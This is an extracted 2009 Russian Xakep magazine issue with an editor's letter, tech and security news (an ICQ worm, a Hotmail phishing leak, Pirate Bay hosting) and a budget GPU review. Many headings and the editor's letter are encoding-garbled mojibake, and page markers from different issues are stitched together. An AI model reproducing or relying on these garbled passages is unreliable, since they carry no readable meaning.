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Æóðíàë Õàêåð íåâîçìîæíî áûëî áû ïðåäñòàâèòü áåç ÷èòàòåëåé è, ñàìîå ãëàâíîå, áåç ÷èòàòåëüñêîãî âëèÿíèÿ 
íà æóðíàë. Íà÷àòü íàäî ñ òîãî, ÷òî âñå ðåäàêòîðû Õ â ñâîå âðåìÿ áûëè óâëå÷åííûìè ÷èòàòåëÿìè è ïîïàëè 
ñþäà, ïîæåëàâ ïîäåëèòüñÿ ñ äðóãèìè ëþäüìè ñâîèìè èäåÿìè.

Â îáùåì, ÷åì áîëüøå àêòèâíîñòè èñõîäèò îò ÷èòàòåëåé — òåì Õàêåðó ëó÷øå. Èìåííî ïîýòîìó ìû íà êàæäîì 
óãëó ïå÷àòàåì ñâîè êîíòàêòû: ÷òîáû òåáå áûëî ïðîñòî äåëèòüñÿ ñ íàìè ñâîèìè èäåÿìè è ïðåäëîæåíèÿìè.
ß òåáÿ ïëàìåííî ïðèçûâàþ ñðàçó ïèñàòü ìíå îáî âñåõ íîâûõ èäåÿõ, îáî âñåõ òåìàõ è ñòàòüÿõ, êîòîðûå òû õîòåë 
áû óâèäåòü, îáî âñåõ âåùàõ, êîòîðûå òåáå íðàâÿòñÿ èëè ðàçäðàæàþò â æóðíàëå. È îñîáåííî êðóòî, åñëè òû âè-
äèøü â ñåáå ñèëû ïèñàòü â Õ ñòàòüè — ìû íà 100% îòêðûòû ê òàêèì âåùàì, ðàäóåìñÿ êàæäîìó íîâîìó àâòîðó 
è äàæå ïëàòèì çà ýòî äåíüãè. Òàê ÷òî åñëè åñòü èäåè è æåëàíèå ðàáîòàòü — êàìîí, ãàé!

nikitozz, ãë. ðåä. Õ
nikitoz@real.xakep.ru
www.ring0cup.ru 

INTRO
Нет вопросов, главное событие осени — релиз новой винды! И, хотя 

мы уже очень много писали про Windows 7, разглядывая систему с 

разных сторон, было бы безумием не написать чего-то нового сразу 

после релиза системы.

Поэтому мы решили сделать подборку с самыми интересными фичами 

новой Windows, чтобы ты еще раз оценил преимущества семерки и 

был в курсе всех улучшений и новых фишек, которые реализовали 

разработчики Microsoft. 

ФИШКИ WINDOWS 7
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ÎÁÎ ÂÑÅÌ ÇÀ ÏÎÑËÅÄÍÈÉ ÌÅÑßÖ

ÈÃËÀ Â ßÉÖÅ, ßÉÖÎ Â ÓÒÊÅ, ÓÒÊÀ Â ÇÀÉÖÅ, ÇÀßÖ Â ØÎÊÅ
Файлообменник file.qip.ru, который под каждым размещенным 
файлом пишет «Tested by Kaspersky Anti-Virus», прошляпил очень 
неприятную заразу. В конце октября многим qip-юзерам пришли 
сообщения от проверенных контактов, со ссылкой на скачивание 
некого файла egg.rar. На логичный вопрос пользователей-пара-
ноиков: «что это?», контакт отвечал «нечто позитивное», а если 
юзер не сдавался и продолжал спрашивать, в ответ приходило: 
«ты не в церкви, тебя не обманут». Получив ответ, большинство 
юзеров успокаивалось и шло по ссылке, где, конечно, находился 
вирус (ну, «справедливости ради», юзеру даже демонстрировали 
картинку с яичницей). После попадания на машину «яичный» 
малварь угоняет icq-аккаунт и рассылает линк на себя всем 
контактам. В процессе рассылки вирь, к тому же, разговаривает, 
отвечая на фразы, содержащие слова «что», «че», «шо», «чего» и 
так далее, фразой «нечто позитивное». Только с files.qip.ru заразу 
успело скачать больше 14.000 человек (потом файл удалили). 
Хитрый, «говорящий» вирус еще явно вернется, так что не стоит 
терять бдительности. 

MEGANEWS

Интересных гаджетов в мире 
много, но рынок карманных эн-
циклопедий, словарей, перевод-
чиков и тому подобных девайсов 
нельзя называть переполненным. 
Так что устройство WikiReader, 
содержащее более 3 млн. статей 
из Wikipedia, явно найдет своих 
пользователей. Официальный 
сайт заверяет, что крошечная 
коробочка с тремя кнопками 
способна проработать от двух ААА 
батареек целый год. С учетом того, 
что сенсорный экран устройства, 
хоть и лишен цвета и подсветки, 
но базируется отнюдь не на e-ink 
технологии, цифры определенно 

приукрашены. Зато девайс легок, 
компактен, предельно прост в ис-
пользовании и дешев — всего $99. 
Еще один плюс проекта в том, что 
он полностью опенсорсовый, так 
что в будущем WikiReader вероят-
но обрастет многими полезными 
«бонусами». Кстати, создатели 
WikiReader, видимо, очень страш-
ные люди — они встроили в свое 
устройство отличный таймкиллер: 
кнопку «random», на которую 
можно нажимать часами, убивая 
время и аккумуляторы. По сути, 
единственный минус этого де-
вайса в том, что работает он пока 
только с английским языком.   

ÂÈÊÈÏÅÄÈß Â ÊÀÐÌÀÍÅ
Â PANDALABS ÅÆÅÄÍÅÂÍÎ ÏÎËÓ×ÀÞÒ 
ÄÎ 50.000 ÎÁÐÀÇ×ÈÊÎÂ ÍÎÂÎÃÎ 
ÂÐÅÄÎÍÎÑÍÎÃÎ ÏÎ. ÅÙÅ ÍÅÄÀÂÍÎ ÝÒÀ 
ÖÈÔÐÀ ÐÀÂÍßËÀÑÜ 37.000 Â ÄÅÍÜ.

Мало кому из it-шников незнаком сайт stackoverflow.com, детище тал-
антливого программиста и бизнесмена Джоэля Спольски. Ресурс являет 
собой помесь Digg с Wikipedia и сайтом вопросов-и-ответов. Многим 
будет интересно узнать, что StackOverflow расширяется, открывая новый 
раздел Careers. Как нетрудно догадаться, эта часть сайта призвана 
помочь специалистам-прогерам с поиском работы. Свое резюме можно 
интегрировать с профилем на сайте, а его просмотр для потенциальных 
работодателей будет платным. Впрочем, платным является и размеще-
ние резюме: для студентов первый год пользования Careers бесплатно; 
для разместивших свои резюме до 9-го ноября юзеров абонентская 
плата равна $29 за 3 года; для всех «проснувшихся» после 10-го ноября 
абонентская плата составит $99 за 1 год.  

ÐÀÁÎÒÀ ÄËß 
ÏÐÎÃÐÀÌÌÈÑÒÎÂ 
ÇÀ ÐÓÁÅÆÎÌ

MEGANEWS
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ÏÅÐÅÑÒÐÀÕÎÂÙÈÊÈ 
ÈÇ TWITTER
Чудесные дела творятся в микроблогинговом сервисе 
Twitter. Аккаунт известного спеца по информационной 
безопасности, главы F-Secure Микко Хиппонена оказался 
забанен без предупреждений и объяснений. Когда удив-
ленный Хиппонен обнаружил блок и связался с саппортом, 
ему сначала не отвечали два дня, а потом сообщили, что 
пару месяцев назад он разместил в своем блоге ссылку на 
малварь, что должно караться по всей строгости. Ссыл-
ка действительно была — Хиппонен ссылался на ресурс 
myspece.com (фишинговый фейк под myspace.com), 
при этом специально написав адрес сайта через пробелы, 
дабы ссылка не была активной. В «криминальном» посте 
он недоумевал, кто может повестись на такую очевидную 
разводку, но все же предупреждал своих фоловеров об 
опасности и призывал их не ходить по приведенному ад-
ресу. Казалось бы, обычная ситуация для блога по ИБ, где 
часто пишут о вредоносном ПО и «нехороших сайтах», но 
нет, саппорту Twitter понадобилось несколько дней, чтобы 
разобраться, и лишь потом блокировку сняли. Хуже того, у 
Хиппонена при этом «слетели» все настройки, и очистился 
список фоловеров (коих было более 3-х тысяч). В итоге, 
восстановили и это, но очень хочется спросить у саппорта 
Twitter’а — WTF, господа? 

ÄÅØÅÂÎ È ÑÅÐÄÈÒÎ
Множество производителей по всему миру сейчас бьются над снижением цен на свои 
нетбуки, чтобы сделать их еще дешевле и доступнее. Но впереди планеты всей тра-
диционно оказались... Конечно, китайцы. Китайская компания Sungworld выпустила 
девайс, который являет собой что-то среднее между КПК, нетбуком и фоторамкой. Ну, 
а как еще охарактеризовать устройство с Windows CE на борту, 7" дисплеем (800х480), 
128 мб ОЗУ, процом ARM VIA на 300 МГц и 1 ГБ флэш-памяти вместо харда? Зато у 
noname нетбука имеется поддержка 802.11b/g сетей, одного заряда батареи хватает 
на 2-3 часа, весит девайс всего 0.7 кг, и при этом его цена равна всего $73 (500 юаней)! 
Похоже, такими темпами мы скоро докатимся до выпусков и продаж одноразовых 
нетбуков :).  

PC27

WINDOWS 7 ÁÜÅÒ ÐÅÊÎÐÄÛ ÏÐÎÄÀÆ. ÍÀ 
AMAZON.COM.UK ÓÆÅ ×ÅÐÅÇ 8 ×ÀÑÎÂ ÏÎÑËÅ 
ÎÒÊÐÛÒÈß PRE-ORDER ÁÛËÎ ÏÐÎÄÀÍÎ ÁÎËÜØÅ 
ÊÎÏÈÉ WINDOWS 7, ÍÅÆÅËÈ VISTA ÇÀ ÂÅÑÜ 
ÏÅÐÈÎÄ ÏÐÅÄÂÀÐÈÒÅËÜÍÎÃÎ ÇÀÊÀÇÀ.

ÈÇ ÆÈÇÍÈ ÏÎÈÑÊÎÂÈÊÎÂ
Компания Microsoft опередила Google и первой запустила поиск по Twitter. Новинка 
пока пребывает в стадии бета-теста, но уже доступна по адресу www.bing.com/
twitter. На главной странице twitter-поиска отображаются самые популярные на 
данный момент в «Твиттере» темы, а ниже сгруппированы найденные твиты по 
каждой из них. На каждый твит можно ответить прямо из поисковика — для этого име-
ется специальная кнопка. Результаты пользовательских поисковых запросов так же 
выводятся в реальном времени, в виде ленты с твитами. Чтобы успевать читать поток, 
предусмотрена кнопка Pause. 
Но и Google тоже занимается разработкой Twitter-поиска. Их вариант должен поя-
виться в ближайшие месяцы. Поиск от Google будет социальным — первыми среди 
результатов будут выводиться ссылки на твоих друзей, если они что-то писали по 
искомой теме в каких-либо соц. сетях. Конечно, чтобы все это заработало, от тебя и 
твоих френдов потребуются заполненные анкеты в Google Profile. 
А пока гиганты увлечены гонкой, детище Стивена Вольфрама — «умный поисковик» 
WolframAlpha, открывает API. Воспользоваться информацией сможет каждый, но 
не бесплатно. Самый дешевый тарифный план, ориентированный на частных лиц, 
таков: $60 за 1000 запросов и $0.08 за каждый запрос сверх лимита, а самый дорогой, 
ориентированный на крупные компании: $220.000 за 10 млн. запросов в месяц, 
каждый запрос сверх лимита $0.023. Известно, что одними из первых клиентов 
WolframAlpha API уже стала компания Microsoft, опять же со своим поисковиком Bing.  

MEGANEWS
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×ÓÄÎ-ÌÛØÜ È ÍÅ ÒÎËÜÊÎ

ÏÎ ÄÀÍÍÛÌ ÂÈÐÓÑÍÎÉ ËÀÁÎÐÀÒÎÐÈÈ ESET, ÑÀÌÛÉ «ÏÎÏÓËßÐÍÛÉ» Â ÐÎÑÑÈÈ 
ÂÈÐÓÑ, ÝÒÎ ×ÅÐÂßÊ CONFICKER. ÂÅÐÑÈÅÉ CONFICKER.AA ÁÎËÅÅÒ 7.68% 
ÌÀØÈÍ, À CONFICKER.AE 4.68%.

Великий человек, изобретатель WWW сэр Тимоти Бернерс-
Ли сделал очень забавное заявление: в ходе общения с 
представителем журнала Times, Бернерс-Ли признался, 
что использование в адресе двойного слеша после «http:» 
практически бессмысленно. По его словам, URL можно 
было спроектировать и без использования косой черты, 
просто 20 лет назад это показалось неплохой идеей, потому 
как о последствиях никто не подумал. Теперь же Бернерсу-
Ли очень стыдно за человеко-часы, которые миллионы 
людей потратили на набор лишних «/» и на исправление 
ошибок в адресах, стыдно за тонны чернил и бумаги, пере-
веденных на печать бесполезных знаков, и так далее. 
Так что, товарищи девелоперы, не повторяйте ошибок 
«отца Интернетов», думайте, перед тем как идти по пути 
наименьшего сопротивления и воплощать в жизнь «непло-
хие идеи» :).

Компания Apple представила миру очередную 
порцию новинок, доказав, что еще не разу-
чилась удивлять. Новая мышь Magic mouse 
моментально стала центром внимания ком-
пьютерщиков всего мира, и тому есть причины. 
От своих предков из семейства Mighty Mouse 

девайс унаследовал разве что форму и базовые 
характеристики, все остальное поражает. Мышь 
беспроводная, подключается к компьютеру 
через Bluetooth и работает от АА батарей 
(одного заряда должно хватать на 3-4 месяца). 
Кнопок у устройства нет. Вообще. Вместо этого 

вся поверхность мыши является сенсорным 
тачпадом, который заменяет собой и скролл и 
кнопки, и открывает множество других удобных 
возможностей (например, масштабирование и 
горизонтальный скролл). Цена Mighty Mouse для 
Штатов составляет $69, также мышь поставляет-
ся с новыми iMac. 
Но обновления коснулись не только периферии: 
так, диагональ дисплеев iMac увеличилась 
до 27", а «под капотом» у них теперь будут и 
4-ядерные процы (Intel Core i5 2.66GHz и Core i7 
2.8GHz). Линейка Mac mini пополнилась новыми 
моделями, в том числе, серверной версией. 
Бюджетный Macbook, в свою очередь, получил 
unibody-корпус, стеклянный Multi-Touch тачпад, 
встроенный аккумулятор и LED-подсветку 
дисплея.  

 008  

ÎØÈÁÎ×ÊÀ ÂÛØËÀ

ÓÁÈÉÑÒÂÅÍÍÀß ÒÎÌÎÃÐÀÔÈß
Пока «Скайнет» не осознал себя, люди сами, 
вручную готовы «помогать» машинам в 
нелегком деле «убийства всех человеков». 
Проще говоря, пока что все случаи «агрес-
сии со стороны машин» сводятся к ошибкам 
программистов и несоблюдению элементар-
ной ТБ. Очередной тому пример — сотрудники 
больницы Cedars-Sinai Medical Center из Лос-
Анджелеса, которые решили самостоятельно 
перепрограммировать свой томограф. Цель 
у них, как обычно, была благая — они хотели 
внедрить новый вид рентгеновского иссле-

дования, чтобы более эффективно обнаружи-
вать нарушения мозгового кровообращения. 
Вместо этого горе-программисты ошиблись, и 
томограф на протяжении 18 месяцев поджа-
ривал нечего не подозревающим пациентам 
мозги, выдавая дозу радиации, в восемь 
раз превышающую норму. Вскрылось все 
совершенно случайно, когда один из больных 
пожаловался на выпадение волос. Оказалось, 
что всего от радиоактивной машины успело 
пострадать более 200 человек. Пожалуй, лучше 
уж «Скайнет», чем такое.

MEGANEWS
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ÏÅÐÂÛÉ 
ÎÔÔËÀÉÍ 
ÌÀÃÀÇÈÍ 
MICROSOFT
Летом мы писали о том, что Microsoft собирает-
ся открыть фирменные оффлайновые магазины 
Microsoft Store и успеть к релизу Windows 7. Что 
ж, Microsoft сдержала свое обещание — пер-
вый Microsoft Store распахнул свои двери в ТЦ 
Fashion Square в Скоттсдейле (штат Аризона, 
США) в день выхода новой ОС — 22 октября. Как 
и ожидалось, магазин Microsoft напоминает 
магазины Apple — тот же минимализм, много 
пространства и света, все можно потрогать 
руками, осмотреть и «понюхать». Магазин 
поделен на четыре зоны, каждая из которых 
сфокусирована на разных технологиях. Купить 
и опробовать в Microsoft Store можно все, от 
софта или телефона на базе Windows Mobile, до 
X-Box или лаптопа. 

Правообладатели не оставляют попытки загнать The Pirate 
Bay в угол, то есть отключить ресурс любыми средствами. 
Последние пару месяцев особенно усердствует голландская 
организация BREIN. В основном BREIN действует обходны-
ми путями, оказывая давление на провайдеров и хостеров, 
в результате чего те перекрывают трекеру кислород. В 
свете этого TPB был вынужден переехать. Согласно слухам, 
сначала трекер переместил сервера из родной Швеции 
на Украину, но там задержался ненадолго и уже через не-
сколько дней перебрался в родные для BREIN Нидерланды. 
На первый взгляд это решение кажется странным, ведь в 
Нидерландах на работу трекера наложен судебный запрет. 
Но на деле TPB мигрировал в дата-центр CyberBunker, 
который провозгласил свою территорию независимым 
государством еще 7 лет назад :). И бункер, между прочим, 
самый настоящий — это подземное сооружение, в 50-е годы 
служившее командным пунктом НАТО. Продали его еще в 
90-е, и купившие его чуваки не растерялись и заявили, что 
раз землю они купили не у властей, а у НАТО, то они объяв-
ляют себя государством «КиберБункер». Среди владельцев 
бункера, кстати, значится Свен Олаф Камфуис, хакер, так же 
известный под ником CB3ROB. В своей крохотной конс-
титуционно-демократической республике он министр по 
телекоммуникациям, носящий титул принц Свен Олаф фон 
КиберБункер.   

PIRATE BAY ÇÀÑÅË 
Â ßÄÅÐÍÎÌ ÓÁÅÆÈÙÅ

YOUTUBE Ñ ÐÀÄÎÑÒÜÞ 
ÑÎÎÁÙÈË ÌÈÐÓ, ×ÒÎ 
ÊÎËÈ×ÅÑÒÂÎ ÏÐÎÑÌÎÒÐÎÂ 
ÄÎÑÒÈÃËÎ 1 ÌËÐÄ. 
Â ÄÅÍÜ (ÏÐÈÌÅÐÍÎ 
11.574 Â ÑÅÊÓÍÄÓ).

MEGANEWS
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ÁÎÃÀÒÑÒÂÎ ÂÛÁÎÐÀ
Еврокомиссия все же определилась с тем, что конкретно нужно сделать 
компании Microsoft, дабы не притеснять на рынке другие браузеры. 
Напомним, что компании Opera и Mozilla, а также европейские антимоно-
польщики, давно возмущаются по поводу того, что IE является в  Windows 
браузером по умолчанию, и дело дошло до высших инстанций ЕС. В итоге, 
Еврокомиссия утвердила на 5 лет ballot screen, то есть «экран выбора [брау-
зера]». Теперь при установке Windows европейским юзерам на выбор будет 
предоставляться несколько разных браузеров (в список войдут наиболее 
популярные на территории Европы софтины). В окошке выбора можно будет 
ознакомиться с подробным описанием для каждого из них, так же здесь 
разместятся ссылки на последние версии программ. Стоит сказать, что 
никто не помешает установить несколько браузеров сразу — необязательно 
выбирать один. 

Компания Adobe официально сообщила, что Adobe Flash Player 10.1 будет работать не только с ПК, 
то есть с Windows, Macintosh и Linux, но и с мобильными платформами — Windows Mobile и Palm 
webOS. Новинка появится в виде беты до конца текущего года. А в начале 2010-го выйдет версия 
для девайсов под управлением Google Android и Symbian OS. Еще позже ожидается и Flash для 
Blackberry. Мобильная версия будет поддерживать жесты, акселерометры, смену положения 
экрана и мультитач. Помимо этого Flash Player 10.1 получит полноценное ускорение вывода 
средствами видеосистемы, одновременно научившись экономить ресурсы и энергию. Обделены 
всем этим счастьем пока остаются только владельцы iPhone. Представители Adobe утверждают, 
что в Apple не желают с ними сотрудничать.  

ÊÀ×ÅÑÒÂÅÍÍÛÉ È-ÍÅÒ ÂÑÅÃÄÀ È ÂÅÇÄÅ
Финны, что называется, жгут — правительство Финлян-
дии объявило широкополосный доступ (со скоростью не 
менее 1Mbps) в интернет фундаментальным правом че-
ловека. Нет, повальной халявы не будет, просто от любого 
домохозяйства до точки высокоскоростного подключения 
к сети теперь должно быть не более двух километров. К 
2015 году, кстати, скорость доступа планируют поднять до 
100Mbps. Реализовать такое в небольшой стране (насе-
ление Финляндии составляет всего 5 с чем-то миллионов 
человек) вполне возможно. Всего стран, признавших 
доступ в интернет фундаментальным правом, теперь стало 
целых четыре — Эстония, Франция, Греция и Финляндия :). 
Но только финские власти установили конкретную планку 
скорости, закрепив за людьми право на broadband. Закон 
вступит в силу с июля 2010 года.

ÏÎÊÀ ÄÐÓÃÈÅ ÁÅÄÑÒÂÓÞÒ, GOOGLE 
ÏÐÎÖÂÅÒÀÅÒ — ÄÎÕÎÄÛ ÊÎÌÏÀÍÈÈ 
ÂÛÐÎÑËÈ ÄÎ $5.95 ÌËÐÄ. ÇÀ 
ÊÂÀÐÒÀË, ×ÒÎ ÍÀ 7% ÂÛØÅ 
ÏÐÎØËÎÃÎÄÍÅÉ ÎÒÌÅÒÊÈ.

FLASH PLAYER ÑÒÀÍÅÒ 
ÊÐÎÑÑÏËÀÒÔÎÐÌÅÍÍÛÌ

MEGANEWS
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Центральное разведывательное управление 
США старается не отставать от прогресса и 
видит в интернете огромный потенциал, в час-
тности, для получения информации. Подтверж-
дает этот факт инвестиционное подразделение 
ЦРУ In-Q-Tel, которое собирается инвестиро-
вать средства в стартап Visible Technologies. 
Компания Visible Technologies разрабатывает 
софт для мониторинга социальных медиа. 
Их ПО уже сейчас умеет отслеживать более 
полумиллиона WEB 2.0-сайтов, в числе 
которых различные блогинговые сервисы, 
Flickr, YouTube, Twitter и Amazon. «Не по зубам» 
им пока остаются лишь социальные сети 
закрытого типа, такие как западный Facebook 
или наш «ВКонтакте». Очевидно, с приходом 
инвестиций, этот «последний бастион» тоже 
падет. Так же ПО Visible Technologies умеет 
анализировать содержимое постов, определяя 
его как позитивное, негативное, смешанное 
или нейтральное. ЦРУ определенно идет по 
правильному пути.  

Реклама

ÖÐÓ ÂËÎÆÈÒ ÄÅÍÜÃÈ 
Â «ØÏÈÎÍÑÊÈÉ» ÑÒÀÐÒÀÏ 
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Компания Western Digital представила новые модели внешних «винтов» My Book 
Elite и My Book Studio. Оба девайса интересны тем, что на их лицевой панели рас-
полагается небольшой e-ink дисплей, который работает даже когда устройст во не 
подключено к компьютеру. На экран можно вывести шкалу, отображающую количес-
тво свободного места на диске, метку диска или краткое описание его содержимого 
(очень удобно, если девайсов несколько и внешне они совершенно одинаковые). 
Так же дисплей сообщит, защищены ли данные 256-битным аппаратным шифро-
ванием и паролем. Настройка описанного осуществляется через программу WD 
SmartWare, которая занимается непрерывным автоматическим резервным копиро-
ванием данных. Заметим, что My Book Studio предназначены для Mac-юзеров (они 
отформатированы надлежащим образом и совместимы с TimeMachine). Подключе-
ние обоих девайсов к компьютеру осуществляется через интерфейс USB 2.0. 

ÂÈÍ×ÅÑÒÅÐÛ Ñ E-INK 
ÄÈÑÏËÅÅÌ

ÓÄÎÁÍÛÉ ÌÀÐØÐÓÒÈÇÀÒÎÐ 
ÎÒ ASUS
Asus представила публике новый 
беспроводной маршрутизатор Asus 
RT-N13U, с возможностью подклю-
чения принтера или многофункцио-
нальных устройств для сетевой печати 
и сканирования. Девайс имеет три 
режима работы: Router используется 
при подключении к провайдеру через 
Ethernet-кабель; AP (Access Point) 
позволит подключаться к сети беспро-
водным клиентам; Repeater значитель-
но расширит зону охвата существующей 
беспроводной сети. В комплекс ПО 
девайса входит утилита Asus EZSetup, 
разработанная специально для России. 
Благодаря ей настроить доступ в ин-
тернет можно буквально за считанные 
минуты, и для этого необязательно быть 
админом. Юзеру понадобится лишь 
выбрать из приведенного списка город 
и провайдера (80 городов и более 100 

провайдеров), а также ввести минимум 
данных, выданных при заключении 
договора. Благодаря Asus EZ UN осталь-
ные настройки не станут проблемой. 
Сервисы настройки и управления (QIS, 
Network Map, Dr. Surf, AiDisk, EZQoS и EZ 
MFP) покажут карту сети, продиагнос-
тируют и устранят неполадки, позволят 
организовать персональный FTP-сер-
вер для обмена файлами, находящими-
ся на подключенном USB-накопителе, 
и так далее. В комплект поставки входит 
утилита Download Master, по сути — пол-
ноценный торрент-клиент с поддержкой 
трекеров, использующих рейтинг. 
Маршрутизатор оснащен внутренней 
антенной, поддерживает Ethernet и 
802.3, беспроводные 802.11n/g/b, и «по-
нимает» следующие типы соединений: 
Automatic IP, Static IP, PPPoE (подде-
ржка MPPE), PPTP, L2TP.  

     

ÔÎÒÎ-ÕÎÑÒÈÍÃ FLICKR ÂÇßË ÍÎÂÓÞ ÏËÀÍÊÓ: 
ÊÎËÈ×ÅÑÒÂÎ ÐÀÇÌÅÙÅÍÍÛÕ ÍÀ ÍÅÌ 
ÔÎÒÎÃÐÀÔÈÉ ÏÅÐÅÂÀËÈËÎ ÇÀ 4 ÌËÐÄ. 

MEGANEWS



XÀÊÅÐ  10  /130/  09  15  015 XÀÊÅÐ  08  /128/  09

Интересные экспериментальные функции 
появились у сервиса Webmaster Tools от 
Google. В случае заражения сайта каким-
нибудь злобным малварем, зарегистриро-
ванных в Webmaster Tools юзеров, не только 
известят о заражении, но и покажут им, на 
каких конкретно страницах найдены следы 
«инфекции», и предоставят к ознакомлению 
сам «нехороший» код. Последнее сущест-
венно облегчит и ускорит поиск вирусов, а 
также их убийство. По возможности сервис 
даже постарается объяснить админу, из-за 
чего именно произошло заражение его 
ресурса. Учитывая, что массовые взломы 
сайтов в последнее время становится прак-
тически нормой, а админы, зачастую, даже 
не замечают, что их хакнули, новые функции 
могут оказаться очень полезны для всех. 

ÂÈÐÓÑÛ ÊÀÊ ÏÎÄ 
ÌÈÊÐÎÑÊÎÏÎÌ

ÌÀÑÑÎÂÛÉ ÂÇËÎÌ 
HOTMAIL

Как стало известно, более 10.000 аккаунтов Windows Live 
Hotmail совсем недавно были взломаны неизвестными 
хакерами. Хуже того, данные, собранные хакерами, утекли в 
Сеть — журналисты BBC News собственными глазами выде-
ли, как в начале октября на сайте pastebin.com выложили 
список из 10.028 имен пользователей (начинавшихся с букв 
A и B). В Microsoft уже проводят расследование инцидента 
и, судя по всему, выходит, что взломщики действовали 
обычными фишерскими методами. Подавляющее боль-
шинство пострадавших европейцы, адреса их ящиков 
оканчивались на hotmail.com, msn.com и live.com. 
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МЕТОДИКА 
ТЕСТИРОВАНИЯ
Наше исследование делится на три этапа. 
Первый — это синтетические тесты, в роли 
которых выступал пакет 3DMark 2006. Конечно, 
он частично устарел, но все еще может ис-
пользоваться для тестирования. Вторая часть 
— использование реальных игровых приложе-
ний. Мы использовали Crysis, GTA IV и Sims 3. 
Третий этап — проверка нагрева графического 
процессора. Она проводилась следующим 
образом: мы устанавливали утилиту Riva Tuner 
и запускали в ней мониторинг температуры 
чипсета. Для того чтобы как следует нагрузить 
и разогреть графический адаптер, запускался 
GPU Test из состава Crysis. Нужно сказать, что 
прогон осуществлялся три раза, и фиксиро-
валось последнее показание. Но если было 
видно, что в процессе тестирования темпе-
ратура растет и не останавливается после 
третьего прогона GPU Test’а, мы делали еще 

три дополнительных запуска (всего шесть) и, в 
итоге, выясняли истинную рабочую температу-
ру данного чипсета. Кроме того, мы оценивали 
дизайн устройства, систему охлаждения и 
другие конструкторские особенности, удобство 
установки и комплект поставки видеоплаты.

ТЕХНОЛОГИИ
Сегодня уже перестали быть редкостью 
видеоплаты, стоимость которых может 
равняться стоимости неплохого домашнего 
компьютера. Конечно, большинство вряд ли 
приобретет себе такое устройство, особен-
но учитывая то, что для его полноценной 
работы требуется особый БП, корпус, система 
охлаждения, гигантский монитор и так далее. 
Но давай подумаем, а нужно ли сегодня 
отдавать огромные деньги за видеоплату или 
можно ограничиться значительно меньшей 
суммой? Графический адаптер отвечает за то, 
чтобы действие на экране было красивым и 

быстрым. Практически каждый современный 
игровой движок поддерживает многократные 
антиалиэйсинг и анизотропную фильтрацию, 
различные версии шейдеров, реалистичные 
тени и многие другие технологии 3D-графи-
ки, которые позволяют текстурам и объек-
там не выглядеть вырезанными из картона 
раскрашенными плоскостями, из которых 
торчат пиксели. Чтобы они отражались (и 
отражались быстро), нам и нужен мощный 
графический процессор. Но важно понимать, 
что им одним дело не обойдется — чтобы 
навороченная игра показала себя во всей 
красе, к нему надо добавлять мощный ЦП, 
большой объем ОЗУ, качественный монитор и 
звуковую систему. Поэтому, если ты думаешь 
о модернизации устаревшей системы, тебе не 
нужен дорогой монстр — толку от него много 
не будет. На ближайшие полгода вполне по-
дойдет одна из плат нашего теста. Ну а потом 
— глобальный апгрейд!
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ÂÑÅ ÌÛ ÏÐÅÊÐÀÑÍÎ ÇÍÀÅÌ, ×ÒÎ ÊÎÌÏÜÞÒÅÐÍÛÅ ÈÃÐÛ — ÃËÀÂÍÛÉ ÄÂÈÃÀÒÅËÜ 
ÊÎÌÏÜÞÒÅÐÍÎÃÎ ÏÐÎÃÐÅÑÑÀ È, ÅÑËÈ ÁÛ ÍÅ ÎÍÈ, ÒÎ ÂÑÅ ÝÒÈ ÑÂÅÐÕÌÎÙÍÛÅ 
ÊÎÌÏÎÍÅÍÒÛ, ÊÎÒÎÐÛÅ ÌÛ ÂÈÄÈÌ ÍÀ ÏÐÈËÀÂÊÀÕ, ÍÈÊÎÌÓ ÍÅ ÁÛËÈ ÁÛ ÍÓÆÍÛ. 
ÍÎ ÑÅÃÎÄÍß ÌÛ ÒÅÑÒÈÐÓÅÌ ÃÐÀÔÈ×ÅÑÊÈÅ ÀÄÀÏÒÅÐÛ, ×Üß ÑÒÎÈÌÎÑÒÜ ÍÅÂÅËÈÊÀ, 
À ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÜ — ÏÐÎÑÒÎ ÄÎÑÒÀÒÎ×ÍÀ.
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ÁÞÄÆÅÒÍÛÕ 
ÃÐÀÔÈ×ÅÑÊÈÕ 
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Плата отличается от стандартного устройства на базе чипсета ATI 
Radeon HD 4670 в первую очередь тем, что на ней установлена память 
GDDR3 с рабочей частотой 2000 МГц. Быстродействие устройства в 
стандартной модификации не очень велико, и более быстрая память, 
установленная на данной плате, может исправить ситуацию в лучшую 
сторону. Сейчас на рынке плат на основе микросхем ATI очень много, 
в том числе и производства компании HIS, а разница между младшей 
моделью ATI Radeon HD 4650 и этим девайсом совсем невелика. Имеет 
смысл потратить немного времени на поиск платы HIS Radeon HD 4670 
IceQ как столь же недорогого, но несколько более производительного 
решения.

Скорость, а, значит, и нагрев платы невелики, но вот кулер на ней стоит 
очень большой, занимающий два слота. Учитывая, что его мощь тут явно 
избыточна, а также то, что он довольно сильно шумит и повышает цену 
платы, мы считаем такой подход чрезмерным.
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: ATI RV740
ТЕХПРОЦЕСС, НМ: 40
РАЗЪЕМЫ: 2xDVI, 1xS-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 6-пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 750
ЧАСТОТА ПАМЯТИ, МГЦ: 3200
ТИП ПАМЯТИ: GDDR5
ОБЪЕМ ПАМЯТИ, МБ: 512 
ШИРИНА ШИНЫ, БИТ: 128
ПОДДЕРЖКА SLI/CROSSFIRE: есть

По сравнению с платами на чипсетах линейки Radeon HD 46xx устройство 
стоит значительно дороже, но в то же время является по отношению к 
ним настоящим «старшим братом» с множеством улучшений. Во-пер-
вых, до 40 нм уменьшен техпроцесс, а, следовательно, существенно сни-
зилось тепловыделение. Поэтому система охлаждения, установленная 
на плате, обладает компактными размерами. Но, несмотря на это, наши 
термотесты не выявили никаких проблем, перегрев отсутствует даже в 
тяжелых тестах. Во-вторых, память на плате стоит хорошая и довольно 
быстрая, типа GDDR5. В итоге, по производительности устройство дого-
няет более дорогие девайсы на ATI Radeon HD 4850.

Несмотря на все свои плюсы, HIS Radeon HD 4770 в цене существенно 
проигрывает платам на чипсете NVIDIA GeForce GTS 250, которые явля-
ются их «одноклассниками». Цена у них существенно ниже. Несмотря 
на то, что формально их характеристики выглядят несколько хуже, по 
скорости они превосходят данную плату. 

HIS RADEON
HD 4770  

HIS RADEON HD 4670 ICEQ
HIS RADEON HD 4770
MSI N9500GT
MSI N9600GT-T2D512-OC
MSI GEFORCE GTS250
SAPPHIRE RADEON HD 4730

